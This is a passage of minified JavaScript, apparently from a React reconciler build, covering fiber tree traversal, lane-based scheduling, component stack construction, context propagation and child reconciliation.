Error(Y(188));return L!==E?null:E}for(var g=E,p=L;;){var zA=g.return;if(zA===null)break;var PA=zA.alternate;if(PA===null){if(p=zA.return,p!==null){g=p;continue}break}if(zA.child===PA.child){for(PA=zA.child;PA;){if(PA===g)return w(zA),E;if(PA===p)return w(zA),L;PA=PA.sibling}throw Error(Y(188))}if(g.return!==p.return)g=zA,p=PA;else{for(var sA=!1,y1=zA.child;y1;){if(y1===g){sA=!0,g=zA,p=PA;break}if(y1===p){sA=!0,p=zA,g=PA;break}y1=y1.sibling}if(!sA){for(y1=PA.child;y1;){if(y1===g){sA=!0,g=PA,p=zA;break}if(y1===p){sA=!0,p=PA,g=zA;break}y1=y1.sibling}if(!sA)throw Error(Y(189))}}if(g.alternate!==p)throw Error(Y(190))}if(g.tag!==3)throw Error(Y(188));return g.stateNode.current===g?E:L}function J(E){var L=E.tag;if(L===5||L===26||L===27||L===6)return E;for(E=E.child;E!==null;){if(L=J(E),L!==null)return L;E=E.sibling}return null}function O(E){var L=E.tag;if(L===5||L===26||L===27||L===6)return E;for(E=E.child;E!==null;){if(E.tag!==4&&(L=O(E),L!==null))return L;E=E.sibling}return null}function X(E){if(E===null||typeof E!=="object")return null;return E=LfA&&E[LfA]||E["@@iterator"],typeof E==="function"?E:null}function $(E){if(E==null)return null;if(typeof E==="function")return E.$$typeof===lC1?null:E.displayName||E.name||null;if(typeof E==="string")return E;switch(E){case dc:return"Fragment";case kfA:return"Profiler";case EfA:return"StrictMode";case dW:return"Suspense";case CfA:return"SuspenseList";case wg:return"Activity"}if(typeof E==="object")switch(E.$$typeof){case OR:return"Portal";case wE:return E.displayName||"Context";case zE:return(E._context.displayName||"Context")+".Consumer";case XR:var L=E.render;return E=E.displayName,E||(E=L.displayName||L.name||"",E=E!==""?"ForwardRef("+E+")":"ForwardRef"),E;case lYA:return L=E.displayName||null,L!==null?L:$(E.type)||"Memo";case $R:L=E._payload,E=E._init;try{return $(E(L))}catch(g){}}return null}function _(E){return{current:E}}function G(E){0>Lh||(E.current=rc[Lh],rc[Lh]=null,Lh--)}function Z(E,L){Lh++,rc[Lh]=E.current,E.current=L}function W(E){return E>>>=0,E===0?32:31-(dfA(E)/viA|0)|0}function D(E){var L=E&42;if(L!==0)return L;switch(E&-E){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:return 64;case 128:return 128;case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:return E&261888;case 262144:case 524288:case 1048576:case 2097152:return E&3932160;case 4194304:case 8388608:case 16777216:case 33554432:return E&62914560;case 67108864:return 67108864;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 0;default:return E}}function j(E,L,g){var p=E.pendingLanes;if(p===0)return 0;var zA=0,PA=E.suspendedLanes,sA=E.pingedLanes;E=E.warmLanes;var y1=p&134217727;return y1!==0?(p=y1&~PA,p!==0?zA=D(p):(sA&=y1,sA!==0?zA=D(sA):g||(g=y1&~E,g!==0&&(zA=D(g))))):(y1=p&~PA,y1!==0?zA=D(y1):sA!==0?zA=D(sA):g||(g=p&~E,g!==0&&(zA=D(g)))),zA===0?0:L!==0&&L!==zA&&(L&PA)===0&&(PA=zA&-zA,g=L&-L,PA>=g||PA===32&&(g&4194048)!==0)?L:zA}function M(E,L){return(E.pendingLanes&~(E.suspendedLanes&~E.pingedLanes)&L)===0}function P(E,L){switch(E){case 1:case 2:case 4:case 8:case 64:return L+250;case 16:case 32:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return L+5000;case 4194304:case 8388608:case 16777216:case 33554432:return-1;case 67108864:case 134217728:case 268435456:case 536870912:case 1073741824:return-1;default:return-1}}function f(){var E=O2A;return O2A<<=1,(O2A&62914560)===0&&(O2A=4194304),E}function N(E){for(var L=[],g=0;31>g;g++)L.push(E);return L}function T(E,L){E.pendingLanes|=L,L!==268435456&&(E.suspendedLanes=0,E.pingedLanes=0,E.warmLanes=0)}function C(E,L,g,p,zA,PA){var sA=E.pendingLanes;E.pendingLanes=g,E.suspendedLanes=0,E.pingedLanes=0,E.warmLanes=0,E.expiredLanes&=g,E.entangledLanes&=g,E.errorRecoveryDisabledLanes&=g,E.shellSuspendCounter=0;var{entanglements:y1,expirationTimes:g6,hiddenUpdates:k8}=E;for(g=sA&~g;0<g;){var S4=31-Bj(g),J4=1<<S4;y1[S4]=0,g6[S4]=-1;var D7=k8[S4];if(D7!==null)for(k8[S4]=null,S4=0;S4<D7.length;S4++){var D5=D7[S4];D5!==null&&(D5.lane&=-536870913)}g&=~J4}p!==0&&R(E,p,0),PA!==0&&zA===0&&E.tag!==0&&(E.suspendedLanes|=PA&~(sA&~L))}function R(E,L,g){E.pendingLanes|=L,E.suspendedLanes&=~L;var p=31-Bj(L);E.entangledLanes|=L,E.entanglements[p]=E.entanglements[p]|1073741824|g&261930}function x(E,L){var g=E.entangledLanes|=L;for(E=E.entanglements;g;){var p=31-Bj(g),zA=1<<p;zA&L|E[p]&L&&(E[p]|=L),g&=~zA}}function y(E,L){var g=L&-L;return g=(g&42)!==0?1:B(g),(g&(E.suspendedLanes|L))!==0?0:g}function B(E){switch(E){case 2:E=1;break;case 8:E=4;break;case 32:E=16;break;case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:case 4194304:case 8388608:case 16777216:case 33554432:E=128;break;case 268435456:E=134217728;break;default:E=0}return E}function b(E){return E&=-E,2<E?8<E?(E&134217727)!==0?32:268435456:8:2}function F(E){if(typeof PL1==="function"&&ifA(E),mj&&typeof mj.setStrictMode==="function")try{mj.setStrictMode(dAA,E)}catch(L){}}function Q(E,L){return E===L&&(E!==0||1/E===1/L)||E!==E&&L!==L}function u(E){if(rfA===void 0)try{throw Error()}catch(g){var L=g.stack.trim().match(/\n( *(at )?)/);rfA=L&&L[1]||"",LiA=-1<g.stack.indexOf(` at`)?" (<anonymous>)":-1<g.stack.indexOf("@")?"@unknown:0:0":""}return` `+rfA+E+LiA}function d(E,L){if(!E||ofA)return"";ofA=!0;var g=Error.prepareStackTrace;Error.prepareStackTrace=void 0;try{var p={DetermineComponentFrameRoot:function(){try{if(L){var J4=function(){throw Error()};if(Object.defineProperty(J4.prototype,"props",{set:function(){throw Error()}}),typeof Reflect==="object"&&Reflect.construct){try{Reflect.construct(J4,[])}catch(D5){var D7=D5}Reflect.construct(E,[],J4)}else{try{J4.call()}catch(D5){D7=D5}E.call(J4.prototype)}}else{try{throw Error()}catch(D5){D7=D5}(J4=E())&&typeof J4.catch==="function"&&J4.catch(function(){})}}catch(D5){if(D5&&D7&&typeof D5.stack==="string")return[D5.stack,D7.stack]}return[null,null]}};p.DetermineComponentFrameRoot.displayName="DetermineComponentFrameRoot";var zA=Object.getOwnPropertyDescriptor(p.DetermineComponentFrameRoot,"name");zA&&zA.configurable&&Object.defineProperty(p.DetermineComponentFrameRoot,"name",{value:"DetermineComponentFrameRoot"});var PA=p.DetermineComponentFrameRoot(),sA=PA[0],y1=PA[1];if(sA&&y1){var g6=sA.split(` `),k8=y1.split(` `);for(zA=p=0;p<g6.length&&!g6[p].includes("DetermineComponentFrameRoot");)p++;for(;zA<k8.length&&!k8[zA].includes("DetermineComponentFrameRoot");)zA++;if(p===g6.length||zA===k8.length)for(p=g6.length-1,zA=k8.length-1;1<=p&&0<=zA&&g6[p]!==k8[zA];)zA--;for(;1<=p&&0<=zA;p--,zA--)if(g6[p]!==k8[zA]){if(p!==1||zA!==1)do if(p--,zA--,0>zA||g6[p]!==k8[zA]){var S4=` `+g6[p].replace(" at new "," at ");return E.displayName&&S4.includes("<anonymous>")&&(S4=S4.replace("<anonymous>",E.displayName)),S4}while(1<=p&&0<=zA);break}}}finally{ofA=!1,Error.prepareStackTrace=g}return(g=E?E.displayName||E.name:"")?u(g):""}function r(E,L){switch(E.tag){case 26:case 27:case 5:return u(E.type);case 16:return u("Lazy");case 13:return E.child!==L&&L!==null?u("Suspense Fallback"):u("Suspense");case 19:return u("SuspenseList");case 0:case 15:return d(E.type,!1);case 11:return d(E.type.render,!1);case 1:return d(E.type,!0);case 31:return u("Activity");default:return""}}function c(E){try{var L="",g=null;do L+=r(E,g),g=E,E=E.return;while(E);return L}catch(p){return` Error generating stack: `+p.message+` `+p.stack}}function YA(E,L){if(typeof E==="object"&&E!==null){var g=RiA.get(E);if(g!==void 0)return g;return L={value:E,source:L,stack:c(L)},RiA.set(E,L),L}return{value:E,source:L,stack:c(L)}}function e(E,L){_g[Gg++]=Zg,_g[Gg++]=X2A,X2A=E,Zg=L}function qA(E,L,g){gj[g_++]=NN,gj[g_++]=TN,gj[g_++]=_E,_E=E;var p=NN;E=TN;var zA=32-Bj(p)-1;p&=~(1<<zA),g+=1;var PA=32-Bj(L)+zA;if(30<PA){var sA=zA-zA%5;PA=(p&(1<<sA)-1).toString(32),p>>=sA,zA-=sA,NN=1<<32-Bj(L)+zA|g<<zA|p,TN=PA+E}else NN=1<<PA|g<<zA|p,TN=E}function HA(E){E.return!==null&&(e(E,1),qA(E,1,0))}function _A(E){for(;E===X2A;)X2A=_g[--Gg],_g[Gg]=null,Zg=_g[--Gg],_g[Gg]=null;for(;E===_E;)_E=gj[--g_],gj[g_]=null,TN=gj[--g_],gj[g_]=null,NN=gj[--g_],gj[g_]=null}function a(E,L){gj[g_++]=NN,gj[g_++]=TN,gj[g_++]=_E,NN=L.id,TN=L.overflow,_E=E}function JA(E,L){Z(l$,L),Z(oc,E),Z(SO,null),E=HE(L),G(SO),Z(SO,E)}function jA(){G(SO),G(oc),G(l$)}function MA(E){E.memoizedState!==null&&Z(GE,E);var L=SO.current,g=RfA(L,E.type);L!==g&&(Z(oc,E),Z(SO,g))}function hA(E){oc.current===E&&(G(SO),G(oc)),GE.current===E&&(G(GE),xj?OE._currentValue=Xg:OE._currentValue2=Xg)}function yA(E){var L=Error(Y(418,1<arguments.length&&arguments[1]!==void 0&&arguments[1]?"text":"HTML",""));throw XA(YA(L,E)),afA}function AA(E,L){if(!m_)throw Error(Y(175));$L1(E.stateNode,E.type,E.memoizedProps,L,E)||yA(E,!0)}function wA(E){for(i$=E.return;i$;)switch(i$.tag){case 5:case 31:case 13:QP=!1;return;case 27:case 3:QP=!0;return;default:i$=i$.return}}function GA(E){if(!m_||E!==i$)return!1;if(!L9)return wA(E),L9=!0,!1;var L=E.tag;if(nJ?L!==3&&L!==27&&(L!==5||q2A(E.type)&&!oYA(E.type,E.memoizedProps))&&cw&&yA(E):L!==3&&(L!==5||q2A(E.type)&&!oYA(E.type,E.memoizedProps))&&cw&&yA(E),wA(E),L===13){if(!m_)throw Error(Y(316));if(E=E.memoizedState,E=E!==null?E.dehydrated:null,!E)throw Error(Y(317));cw=DiA(E)}else if(L===31){if(E=E.memoizedState,E=E!==null?E.dehydrated:null,!E)throw Error(Y(317));cw=WiA(E)}else cw=nJ&&L===27?HL1(E.type,cw):i$?tYA(E.stateNode):null;return!0}function OA(){m_&&(cw=i$=null,L9=!1)}function t(){var E=Rh;return E!==null&&(oW===null?oW=E:oW.push.apply(oW,E),Rh=null),E}function XA(E){Rh===null?Rh=[E]:Rh.push(E)}function VA(E,L,g){xj?(Z($2A,L._currentValue),L._currentValue=g):(Z($2A,L._currentValue2),L._currentValue2=g)}function vA(E){var L=$2A.current;xj?E._currentValue=L:E._currentValue2=L,G($2A)}function RA(E,L,g){for(;E!==null;){var p=E.alternate;if((E.childLanes&L)!==L?(E.childLanes|=L,p!==null&&(p.childLanes|=L)):p!==null&&(p.childLanes&L)!==L&&(p.childLanes|=L),E===g)break;E=E.return}}function fA(E,L,g,p){var zA=E.child;zA!==null&&(zA.return=E);for(;zA!==null;){var PA=zA.dependencies;if(PA!==null){var sA=zA.child;PA=PA.firstContext;A:for(;PA!==null;){var y1=PA;PA=zA;for(var g6=0;g6<L.length;g6++)if(y1.context===L[g6]){PA.lanes|=g,y1=PA.alternate,y1!==null&&(y1.lanes|=g),RA(PA.return,g,E),p||(sA=null);break A}PA=y1.next}}else if(zA.tag===18){if(sA=zA.return,sA===null)throw Error(Y(341));sA.lanes|=g,PA=sA.alternate,PA!==null&&(PA.lanes|=g),RA(sA,g,E),sA=null}else sA=zA.child;if(sA!==null)sA.return=zA;else for(sA=zA;sA!==null;){if(sA===E){sA=null;break}if(zA=sA.sibling,zA!==null){zA.return=sA.return,sA=zA;break}sA=sA.return}zA=sA}}function LA(E,L,g,p){E=null;for(var zA=L,PA=!1;zA!==null;){if(!PA){if((zA.flags&524288)!==0)PA=!0;else if((zA.flags&262144)!==0)break}if(zA.tag===10){var sA=zA.alternate;if(sA===null)throw Error(Y(387));if(sA=sA.memoizedProps,sA!==null){var y1=zA.type;c$(zA.pendingProps.value,sA.value)||(E!==null?E.push(y1):E=[y1])}}else if(zA===GE.current){if(sA=zA.alternate,sA===null)throw Error(Y(387));sA.memoizedState.memoizedState!==zA.memoizedState.memoizedState&&(E!==null?E.push(OE):E=[OE])}zA=zA.return}E!==null&&fA(L,E,g,p),L.flags|=262144}function SA(E){for(E=E.firstContext;E!==null;){var L=E.context;if(!c$(xj?L._currentValue:L._currentValue2,E.memoizedValue))return!0;E=E.next}return!1}function xA(E){Wg=E,WR=null,E=E.dependencies,E!==null&&(E.firstContext=null)}function iA(E){return v1(Wg,E)}function lA(E,L){return Wg===null&&xA(E),v1(E,L)}function v1(E,L){var g=xj?L._currentValue:L._currentValue2;if(L={context:L,memoizedValue:g,next:null},WR===null){if(E===null)throw Error(Y(308));WR=L,E.dependencies={lanes:0,firstContext:L},E.flags|=524288}else WR=WR.next=L;return g}function I1(){return{controller:new VL1,data:new Map,refCount:0}}function Q1(E){E.refCount--,E.refCount===0&&fL1(NL1,function(){E.controller.abort()})}function B1(){}function C6(E){E!==Dg&&E.next===null&&(Dg===null?cAA=Dg=E:Dg=Dg.next=E),G2A=!0,_2A||(_2A=!0,DA())}function w1(E,L){if(!sfA&&G2A){sfA=!0;do{var g=!1;for(var p=cAA;p!==null;){if(!L)if(E!==0){var zA=p.pendingLanes;if(zA===0)var PA=0;else{var{suspendedLanes:sA,pingedLanes:y1}=p;PA=(1<<31-Bj(42|E)+1)-1,PA&=zA&~(sA&~y1),PA=PA&201326741?PA&201326741|1:PA?PA|2:0}PA!==0&&(g=!0,w6(p,PA))}else PA=W9,PA=j(p,p===zz?PA:0,p.cancelPendingCommit!==null||p.timeoutHandle!==Og),(PA&3)===0||M(p,PA)||(g=!0,w6(p,PA));p=p.next}}while(g);sfA=!1}}function $1(){N1()}function N1(){G2A=_2A=!1;var E=0;jg!==0&&rC1()&&(E=jg);for(var L=lW(),g=null,p=cAA;p!==null;){var zA=p.next,PA=A6(p,L);if(PA===0)p.next=null,g===null?cAA=zA:g.next=zA,zA===null&&(Dg=g);else if(g=p,E!==0||(PA&3)!==0)G2A=!0;p=zA}B0!==0&&B0!==5||w1(E,!1),jg!==0&&(jg=0)}function A6(E,L){for(var{suspendedLanes:g,pingedLanes:p,expirationTimes:zA}=E,PA=E.pendingLanes&-62914561;0<PA;){var sA=31-Bj(PA),y1=1<<sA,g6=zA[sA];if(g6===-1){if((y1&g)===0||(y1&p)!==0)zA[sA]=P(y1,L)}else g6<=L&&(E.expiredLanes|=y1);PA&=~y1}if(L=zz,g=W9,g=j(E,E===L?g:0,E.cancelPendingCommit!==null||E.timeoutHandle!==Og),p=E.callbackNode,g===0||E===L&&(H2===2||H2===9)||E.cancelPendingCommit!==null)return p!==null&&p!==null&&cfA(p),E.callbackNode=null,E.callbackPriority=0;if((g&3)===0||M(E,g)){if(L=g&-g,L===E.callbackPriority)return L;switch(p!==null&&cfA(p),b(g)){case 2:case 8:g=ZR;break;case 32:g=d$;break;case 268435456:g=lfA;break;default:g=d$}return p=c1.bind(null,E),g=pAA(g,p),E.callbackPriority=L,E.callbackNode=g,L}return p!==null&&p!==null&&cfA(p),E.callbackPriority=2,E.callbackNode=null,2}function c1(E,L){if(B0!==0&&B0!==5)return E.callbackNode=null,E.callbackPriority=0,null;var g=E.callbackNode;if(SAA()&&E.callbackNode!==g)return null;var p=W9;if(p=j(E,E===zz?p:0,E.cancelPendingCommit!==null||E.timeoutHandle!==Og),p===0)return null;return gc(E,p,L),A6(E,lW()),E.callbackNode!=null&&E.callbackNode===g?c1.bind(null,E):null}function w6(E,L){if(SAA())return null;gc(E,L,!0)}function DA(){KiA?qiA(function(){(l3&6)!==0?pAA(kiA,$1):N1()}):pAA(kiA,$1)}function EA(){if(jg===0){var E=sc;E===0&&(E=u0,u0<<=1,(u0&261888)===0&&(u0=256)),jg=E}return jg}function rA(E,L){if(ac===null){var g=ac=[];tfA=0,sc=EA(),tc={status:"pending",value:void 0,then:function(p){g.push(p)}}}return tfA++,L.then(J1,J1),L}function J1(){if(--tfA===0&&ac!==null){tc!==null&&(tc.status="fulfilled");var E=ac;ac=null,sc=0,tc=null;for(var L=0;L<E.length;L++)(0,E[L])()}}function aA(E,L){var g=[],p={status:"pending",value:null,reason:null,then:function(zA){g.push(zA)}};return E.then(function(){p.status="fulfilled",p.value=L;for(var zA=0;zA<g.length;zA++)(0,g[zA])(L)},function(zA){p.status="rejected",p.reason=zA;for(zA=0;zA<g.length;zA++)(0,g[zA])(void 0)}),p}function z1(){var E=Mg.current;return E!==null?E:zz.pooledCache}function f1(E,L){L===null?Z(Mg,Mg.current):Z(Mg,L.pool)}function T1(){var E=z1();return E===null?null:{parent:xj?vH._currentValue:vH._currentValue2,pool:E}}function K6(E,L){if(c$(E,L))return!0;if(typeof E!=="object"||E===null||typeof L!=="object"||L===null)return!1;var g=Object.keys(E),p=Object.keys(L);if(g.length!==p.length)return!1;for(p=0;p<g.length;p++){var zA=g[p];if(!CiA.call(L,zA)||!c$(E[zA],L[zA]))return!1}return!0}function U6(E){return E=E.status,E==="fulfilled"||E==="rejected"}function e8(E,L,g){switch(g=E[g],g===void 0?E.push(L):g!==L&&(L.then(B1,B1),L=g),L.status){case"fulfilled":return L.value;case"rejected":throw E=L.reason,T7(E),E;default:if(typeof L.status==="string")L.then(B1,B1);else{if(E=zz,E!==null&&100<E.shellSuspendCounter)throw Error(Y(482));E=L,E.status="pending",E.then(function(p){if(L.status==="pending"){var zA=L;zA.status="fulfilled",zA.value=p}},function(p){if(L.status==="pending"){var zA=L;zA.status="rejected",zA.reason=p}})}switch(L.status){case"fulfilled":return L.value;case"rejected":throw E=L.reason,T7(E),E}throw Pg=L,ec}}function D8(E){try{var L=E._init;return L(E._payload)}catch(g){if(g!==null&&typeof g==="object"&&typeof g.then==="function")throw Pg=g,ec;throw g}}function Y7(){if(Pg===null)throw Error(Y(459));var E=Pg;return Pg=null,E}function T7(E){if(E===ec||E===Z2A)throw Error(Y(483))}function H4(E){var L=lAA;return lAA+=1,Vg===null&&(Vg=[]),e8(Vg,E,L)}function u7(E,L){L=L.props.ref,E.ref=L!==void 0?L:null}function s7(E,L){if(L.$$typeof===vfA)throw Error(Y(525));throw E=Object.prototype.toString.call(L),Error(Y(31,E==="[object Object]"?"object with keys {"+Object.keys(L).join(", ")+"}":E))}function k5(E){function L(L6,O6){if(E){var B6=L6.deletions;B6===null?(L6.deletions=[O6],L6.flags|=16):B6.push(O6)}}function g(L6,O6){if(!E)return null;for(;O6!==null;)L(L6,O6),O6=O6.sibling;return null}function p(L6){for(var O6=new Map;L6!==null;)L6.key!==null?O6.set(L6.key,L6):O6.set(L6.index,L6),L6=L6.sibling;return O6}function zA(L6,O6){return L6=JR(L6,O6),L6.index=0,L6.sibling=null,L6}function PA(L6,O6,B6){if(L6.index=B6,!E)return L6.flags|=1048576,O6;if(B6=L6.alternate,B6!==null)return B6=B6.index,B6<O6?(L6.flags|=67108866,O6):B6;return L6.flags|=67108866,O6}function sA(L6){return E&&L6.alternate===null&&(L6.flags|=67108866),L6}function y1(L6,O6,B6,B8){if(O6===null||O6.tag!==6)return O6=ffA(B6,L6.mode,B8),O6.return=L6,O6;return O6=zA(O6,B6),O6.return=L6,O6}function g6(L6,O6,B6,B8){var sK=B6.type;if(sK===dc)return S4(L6,O6,B6.props.children,B8,B6.key);if(O6!==null&&(O6.elementType===sK||typeof sK==="object"&&sK!==null&&sK.$$typeof===$R&&D8(sK)===O6.type))return O6=zA(O6,B6.props),u7(O6,B6),O6.return=L6,O6;return O6=dYA(B6.type,B6.key,B6.props,null,L6.mode,B8),u7(O6,B6),O6.return=L6,O6}function k8(L6,O6,B6,B8){if(O6===null||O6.tag!==4||O6.stateNode.containerInfo!==B6.containerInfo||O6.stateNode.implementation!==B6.implementation)return O6=bj(B6,L6.mode,B8),O6.return=L6,O6;return O6=zA(O6,B6.children||[]),O6.return=L6,O6}function S4(L6,O6,B6,B8,sK){if(O6===null||O6.tag!==7)return O6=hj(B6,L6.mode,B8,sK),O6.return=L6,O6;return O6=zA(O6,B6),O6.return=L6,O6}function J4(L6,O6,B6){if(typeof O6==="string"&&O6!==""||typeof O6==="number"||typeof O6==="bigint")return O6=ffA(""+O6,L6.mode,B6),O6.return=L6,O6;if(typeof O6==="object"&&O6!==null){switch(O6.$$typeof){case vh:return B6=dYA(O6.type,O6.key,O6.props,null,L6.mode,B6),u7(B6,O6),B6.return=L6,B6;case OR:return O6=bj(O6,L6.mode,B6),O6.return=L6,O6;case $R:return O6=D8(O6),J4(L6,O6,B6)}if(Hg(O6)||X(O6))return O6=hj(O6,L6.mode,B6,null),O6.return=L6,O6;if(typeof O6.then==="function")return J4(L6,H4(O6),B6);if(O6.$$typeof===wE)return J4(L6,lA(L6,O6),B6);s7(L6,O6)}return null}function D7(L6,O6,B6,B8){var sK=O6!==null?O6.key:null;if(typeof B6==="string"&&B6!==""||typeof B6==="number"||typeof B6==="bigint")return sK!==null?null:y1(L6,O6,""+B6,B8);if(typeof B6==="object"&&B6!==null){switch(B6.$$typeof){case vh:return B6.key===sK?g6(L6,O6,B6,B8):null;case OR:return B6.key===sK?k8(L6,O6,B6,B8):null;case $R:return B6=D8(B6),D7(L6,O6,B6,B8)}if(Hg(B6)||X(B6))return sK!==null?null:S4(L6,O6,B6,B8,null);if(typeof B6.then==="function")return D7(L6,O6,H4(B6),B8);if(B6.$$typeof===wE)return D7(L6,O6,lA(L6,B6),B8);s7(L6,B6)}return null}function D5(L6,O6,B6,B8,sK){if(typeof B8==="string"&&B8!==""||typeof B8==="number"||typeof B8==="bigint")return L6=L6.get(B6)||null,y1(O6,L6,""+B8,sK);if(typeof B8==="object"&&B8!==null){switch(B8.$$typeof){case vh:return L6=L6.get(B8.key===null?B6:B8.key)||null,g6(O6,L6,B8,sK);case OR:return L6=L6.get(B8.key===null?B6:B8.key)||null,k8(O6,L6,B8,sK);case $R:return B8=D8(B8),D5(L6,O6,B6,B8,sK)}if(Hg(B8)||X(B8))return L6=L6.get(B6)||null,S4(O6,L6,B8,sK,null);if(typeof B8.then==="function")return D5(L6,O6,B6,H4(B8),sK);if(B8.$$typeof===wE)return D5(L6,O6,B6,lA(O6,B8),sK);s7(O6,B8)}return null}function n$(L6,O6,B6,B8){for(var sK=null,kH=null,hK=O6,c4=O6=0,xX=null;hK!==null&&c4<B6.length;c4++){hK.index>c4?(xX=hK,hK=null):xX=hK.sibling;var oq=D7(L6,hK,B6[c4],B8);if(oq===null){hK===null&&(hK=xX);break}E&&hK&&oq.alternate===null&&L(L6,hK),O6=PA(oq,O6,c4),kH===null?sK=oq:kH.sibling=oq,kH=oq,hK=xX}if(c4===B6.length)return g(L6,hK),L9&&e(L6,c4),sK;if(hK===null){for(;c4<B6.length;c4++)hK=J4(L6,B6[c4],B8),hK!==null&&(O6=PA(hK,O6,c4),kH===null?sK=hK:kH.sibling=hK,kH=hK);return L9&&e(L6,c4),sK}for(hK=p(hK);c4<B6.length;c4++)xX=D5(hK,L6,c4,B6[c4],B8),xX!==null&&(E&&xX.alternate!==null&&hK.delete(xX.key===null?c4:xX.key),O6=PA(xX,O6,c4),kH===null?sK=xX:kH.sibling=xX,kH=xX);return E&&hK.forEach(function(k2){return L(L6,k2)}),L9&&e(L6,c4),sK}function sAA(L6,O6,B6,B8){if(B6==null)throw Error(Y(151));for(var sK=null,kH=null,hK=O6,c4=O6=0,xX=null,oq=B6.next();hK!==null&&!oq.done;c4++,oq=B6.next()){hK.index>c4?(xX=hK,hK=null):xX=hK.sibling;var k2=D7(L6,hK,oq.value,B8);if(k2===null){hK===null&&(hK=xX);break}E&&hK&&k2.alternate===null&&L(L6,hK),O6=PA(k2,O6,c4),kH===null?sK=k2:kH.sibling=k2,kH=k2,hK=xX}if(oq.done)return g(L6,hK),L9&&e(L6,c4),sK;if(hK===null){for(;!oq.done;c4++,oq=B6.next())oq=J4(L6,oq.value,B8),oq!==null&&(O6=PA(oq,O6,c4),kH===null?sK=oq:kH.sibling=oq,kH=oq);return L9&&e(L6,c4),sK}for(hK=p(hK);!oq.done;c4++,oq=B6.next())oq=D5(hK,L6,c4,oq.value,B8),oq!==null&&(E&&oq.alternate!==null&&hK.delete(oq.key===null?c4:oq.key),O6=PA(oq,O6,c4),kH===null?sK=oq:kH.sibling=oq,kH=oq);return E&&hK.forEach(function(kL1){return L(L6,kL1)}),L9&&e(L6,c4),sK}function Eg(L6,O6,B6,B8){if(typeof B6==="object"&&B6!==null&&B6.type===dc&&B6.key===null&&(B6=B6.props.children),typeof B6==="object"&&B6!==null){switch(B6.$$typeof){case vh:A:{for(var sK=B6.key;O6!==null;){if(O6.key===sK){if(sK=B6.type,sK===dc){if(O6.tag===7){g(L6,O6.sibling),B8=zA(O6,B6.props.children),B8.return=L6,L6=B8;break A}}else if(O6.elementType===sK||typeof sK==="object"&&sK!==null&&sK.$$typeof===$R&&D8(sK)===O6.type){g(L6,O6.sibling),B8=zA(O6,B6.props),u7(B8,B6),B8.return=L6,L6=B8;break A}g(L6,O6);break}else L(L6,O6);O6=O6.sibling}B6.type===dc?(B8=hj(B6.props.children,L6.mode,B8,B6.key),B8.return=L6,L6=B8):(B8=dYA(B6.type,B6.key,B6.props,null,L6.mode,B8),u7(B8,B6),B8.return=L6,L6=B8)}return sA(L6);case OR:A:{for(sK=B6.key;O6!==null;){if(O6.key===sK)if(O6.tag===4&&O6.stateNode.containerInfo===B6.containerInfo&&O6.stateNode.implementation===B6.implementation){g(L6,O6.sibling),B8=zA(O6,B6.children||[]),B8.return=L6,L6=B8;break A}else{g(L6,O6);break}else L(L6,O6);O6=O6.sibling}B8=bj(B6,L6.mode,B8),B8.return=L6,L6=B8}return sA(L6);case $R:return B6=D8(B6),Eg(L6,O6,B6,B8)}if(Hg(B6))return n$(L6,O6,B6,B8);if(X(B6)){if(sK=X(B6),typeof sK!=="function")throw Error(Y(150));return B6=sK.call(B6),sAA(L6,O6,B6,B8)}if(typeof B6.then==="function")return Eg(L6,O6,H4(B6),B8);if(B6.$$typeof===wE)return Eg(L6,O6,lA(L6,B6),B8);s7(L6,B6)}return typeof B6==="string"&&B6!==""||typeof B6==="number"||typeof B6==="bigint"?(B6=""+B6,O6!==null&&O6.tag===6?(g(L6,O6.sibling),B8=zA(O6,B6),B8.return=L6,L6=B8):(g(L6,O6),B8=ffA(B6,L6.mode,B8),B8.return=L6,L6=B8),sA(L6)):g(L6,O6)}return function(L6,O6,B6,B8){try{lAA=0;var sK=Eg(L6,O6,B6,B8);return Vg=null,sK}catch(hK){if(hK===ec||hK===Z2A)throw hK;var kH=K(29,hK,null,L6.mode);return kH.lanes=B8,kH.return=L6,kH}finally{}}}function iq(){for(var E=yh,L=efA=yh=0;L<E;){var g=UP[L];UP[L++]=null;var p=UP[L];UP[L++]=null;var zA=UP[L];UP[L++]=null;var PA=UP[L];if(UP[L++]=null,p!==null&&zA!==null){var sA=p.pending;sA===null?zA.next=zA:(zA.next=sA.next,sA.next=zA),p.pending=zA}PA!==0&&I3(g,zA,PA)}}function r8(E,L,g,p){UP[yh++]=E,UP[yh++]=L,UP[yh++]=g,UP[yh++]=p,efA|=p,E.lanes|=p,E=E.alternate,E!==null&&(E.lanes|=p)}function E8(E,L,g,p){return r8(E,L,g,p),Z3(E)}function X9(E,L){return r8(E,null,null,L),Z3(E)}function I3(E,L,g){E.lanes|=g;var p=E.alternate;p!==null&&(p.lanes|=g);for(var zA=!1,PA=E.return;PA!==null;)PA.childLanes|=g,p=PA.alternate,p!==null&&(p.childLanes|=g),PA.tag===22&&(E=PA.stateNode,E===null||E._visibility&1||(zA=!0)),E=PA,PA=PA.return;return E.tag===3?(PA=E.stateNode,zA&&L!==null&&(zA=31-Bj(g),E=PA.hiddenUpdates,p=E[zA],p===null?E[zA]=[L]:p.push(L),L.lane=g|536870912),PA):null}function Z3(E){if(50<Hl)throw Hl=0,$NA=null,Error(Y(185));for(var L=E.return;L!==null;)E=L,L=E.return;return E.tag===3?E.stateNode:null}function S3(E){E.updateQueue={baseState:E.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,lanes:0,hiddenCallbacks:null},callbacks:null}}function dY(E,L){E=E.updateQueue,L.updateQueue===E&&(L.updateQueue={baseState:E.baseState,firstBaseUpdate:E.firstBaseUpdate,lastBaseUpdate:E.lastBaseUpdate,shared:E.shared,callbacks:null})}function vY(E){return{lane:E,tag:0,payload:null,callback:null,next:null}}function $9(E,L,g){var p=E.updateQueue;if(p===null)return null;if(p=p.shared,(l3&2)!==0){var zA=p.pending;return zA===null?L.next=L:(L.next=zA.next,zA.next=L),p.pending=L,L=Z3(E),I3(E,null,g),L}return r8(E,p,L,g),Z3(E)}function 